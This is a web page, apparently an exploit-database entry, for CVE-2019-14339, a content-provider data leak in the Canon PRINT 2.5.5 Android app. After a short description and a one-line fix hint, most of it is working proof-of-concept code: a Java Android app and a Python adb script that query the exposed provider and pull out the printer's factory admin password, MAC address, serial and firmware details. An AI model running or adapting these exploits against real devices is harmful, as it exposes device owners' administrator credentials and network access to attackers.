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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Content Provider URI Injection on Canon PRINT 2.5.5
(CVE-2019-14339)
# Date: 24th July, 2019
# Exploit Author: 0x48piraj
# Vendor Homepage: https://www.usa.canon.com/internet/portal/us/home/explore/printing-innovations/mobile-printing/canon-print-app
# Software Link: https://play.google.com/store/apps/details?id=jp.co.canon.bsd.ad.pixmaprint
<https://play.google.com/store/apps/details?id=jp.co.canon.bsd.ad.pixmaprint&hl=en_IN>#
Exploit : https://github.com/0x48piraj/CVE-2019-14339
# Version: Canon PRINT 2.5.5
# Tested on: Android 8.0.0
# CVE : CVE-2019-14339

The ContentProvider in the Canon PRINT 2.5.5 application for Android
does not properly restrict data access. This allows an attacker's
malicious application to obtain sensitive information including
factory passwords for administrator web-interface and WPA2-PSK key.
The mobile application contains unprotected exported content providers
('IJPrinterCapabilityProvider' in android/AndroidManifest.xml) that
discloses sensitive application’s data under certain conditions. To
securely export the content provider, one should restrict access to it
by setting up android:protectionLevel or android:grantUriPermissions
attributes in Android Manifest file.

-- Proof-of-concept code (Java)

--

package cannon.print.pwn;

import android.database.Cursor;
import android.net.Uri;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;
import android.widget.TextView;
import android.widget.Toast;
import org.apache.commons.lang3.StringUtils; //
https://stackoverflow.com/a/50198499

public class MainActivity extends AppCompatActivity {

    Button PwnBtn;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        PwnBtn = (Button) findViewById(R.id.button);
        PwnBtn.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View view) {
                Toast.makeText(getApplicationContext(), "Payload
triggered ...", Toast.LENGTH_SHORT).show();
                Uri cannonURI =
Uri.parse("content://canon.ij.printer.capability.data/");
                Cursor cursor = getContentResolver().query(cannonURI,
null, null, null, null);
                int count  = cursor.getCount();
                TextView data=(TextView)findViewById(R.id.data);
                data.setText(String.valueOf(count));
                cursor.moveToFirst();
                String tempstr = " ";
                tempstr ="  "+tempstr +"\t"+ cursor.getString(0) + "\t\t\t"
                        + cursor.getString(1) + "\t\t\t" + cursor.getString(2);
                String dpw = StringUtils.substringBetween(tempstr,
"<ivec:product_serialnumber>", "</ivec:product_serialnumber>");
                String dmac = cursor.getString(4);
                String mdeviceid = cursor.getString(13); // raw
                String dtype = StringUtils.substringBetween(mdeviceid,
";CLS:", ";DES");
                String timestamp = cursor.getString(15); // ticks,
device last used
                String dclass = StringUtils.substringBetween(tempstr,
"<ivec:manufacturer>", "</ivec:manufacturer>");
                String dmodel = StringUtils.substringBetween(tempstr,
"<ivec:model>", "</ivec:model>");
                String dserial = StringUtils.substringBetween(tempstr,
"<ivec:serialnumber>", "</ivec:serialnumber>");
                String dfmver = StringUtils.substringBetween(tempstr,
"<ivec:firmver>", "</ivec:firmver>");
                String dservice =
StringUtils.substringBetween(tempstr, "<ivec:service>",
"</ivec:service>");
                /* More juicy data
                String denv = StringUtils.substringBetween(tempstr,
"<vcn:host_environment>", "</vcn:host_environment>");
                String dpapertype =
StringUtils.substringBetween(tempstr, "<ivec:papertype>",
"</ivec:papertype>");
                String dformats =
StringUtils.substringBetween(tempstr, "<ivec:support_data_format>",
"</ivec:support_data_format>");
                */
                String fout = String.format("Device Type : %s\nDevice
Class : %s\nDevice Model : %s\nDevice Serial : %s\nDevice MAC Address
: %s\nDevice Factory Password : %s\nDevice Firmware Version :
%s\nDevice Services : %s\nDevice Last Used : %s\n", dtype, dclass,
dmodel, dserial, dmac, dpw, dfmver, dservice, timestamp);
                data.setText(fout);
            }
        });
    }
}

-- Proof-of-concept python script over ADB --

import subprocess, datetime, sys

def ext(out, var, rw=';'):
    return out.split(var)[1].split(rw)[0]

print("[#] Make sure you've connected the target device w/ adb ...")
print("[*] Running the exploit using adb ...\n\n")
out = subprocess.getoutput("adb shell content query --uri content://canon.ij.printer.capability.data/")

if "<ivec:contents>" not in out:
    print("[!] Error: Couldn't fetch data from adb ...")
    sys.exit(1)

varz = [";CLS:", ";MDL:", ";DES:", ";VER:", ";PSE:"] #
factory_pw_check =
out.split("<ivec:product_serialnumber>")[1].split('</ivec:product_serialnumber>')[0]
prmz = ["Class", "Model", "Description", "Firmware Version", "Factory Password"]
for prm, var in zip(prmz, varz):
	print(" -- Device %s : %s" % (prm, ext(out, var)))
print(" -- Device MAC Address : {}".format(ext(out, 'mmacaddress=', ',')))
print(" -- Device Last Used : %s" % (datetime.timedelta(microseconds =
int(ext(out,', timestamp=', ', '))/10)))